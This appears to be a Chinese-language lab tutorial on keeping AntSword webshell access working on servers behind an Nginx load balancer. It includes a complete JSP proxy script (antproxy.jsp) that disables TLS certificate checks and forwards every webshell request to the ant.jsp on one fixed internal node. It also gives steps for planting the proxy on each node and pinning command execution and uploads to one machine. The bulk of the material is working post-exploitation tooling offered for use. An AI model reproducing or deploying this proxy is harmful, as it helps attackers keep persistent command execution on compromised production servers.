一、首先环境配置
1.上传文件并解压

2.进入目录下

为了方便解释,我们只用两个节点,启动之后,大家可以看到有 3 个容器(可想像成有 3 台服务器就成)。

二、使用蚁剑去连接
因为两台节点都在相同的位置存在 ant.jsp,所以连接的时候也没出现什么异常。

一旦有一台机器上没有ant.jsap,那再次请求的时候,就会出现 404 错误,就是一会正常一会错误,漂移ip的问题

三、实际问题
1.1我们访问的时候,不知道在那台机器执行 解决:多上传
1.2文件上传的时候,不知道上传到那台机器,无法知道下次请求谁进行执行的
1.3上传**工具时候,不知道上传到那台机器(分片文件上传不完整)
1.4反向连接,内网所有机器无法访问外网,咱们把飘逸的机器当做服务器部署例如reGeorge/HtAbs这些工具,我们与内部建立的传输隧道当ip飘逸的时候,传输便会中断1
四、解决
1.1关掉一套机器(作死玩法)
1.2写一个shell脚本在执行命令前判断一下是不是此机器,再选择性执行

实现效果:

1.3在Web 层做一次 HTTP 流量转发
虽然我们不能访问,但是NGinx可以,两台服务器也是可以的
图解:

总结:不管我怎么访问,我通过转发后的结果是,始终在访问一台机器
1.4我们使用流量转发的代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.20.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
1.5具体操作总结
1.5.1我们将 target 指向了 LBSNode1 的 ant.jsp

注意:
a) 不要使用上传功能,上传功能会分片上传,导致分散在不同 Node 上。
b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp, 所以保存了很多次,保证每一台都上传了脚本
1.5.2
修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变

1.5.3
测试执行命令, 查看 IP

可以看到 IP 已经固定, 意味着请求已经固定到了 LBSNode1 这台机器上了。此时使用分片上传、HTTP 代理,都已经跟单机的情况没什么区别了。
1.5.4
查看一下 Node1 上面的 tomcat 的日志, 可以看到收束的过程:

Node1 和 Node2 交叉着访问 Node1 的 /ant.jsp 文件,符合 nginx 此时的 LBS 策略。
五、整体实验总结
优点:
-
低权限就可以完成,如果权限高的话,还可以通过端口层面直接转发,不过这跟 1.1的关服务就没啥区别了
-
流量上,只影响访问 WebShell 的请求,其它的正常业务请求不会影响。
-
适配更多工具
缺点:
- 该方案需要「目标 Node」和「其它 Node」 之间内网互通,如果不互通就凉了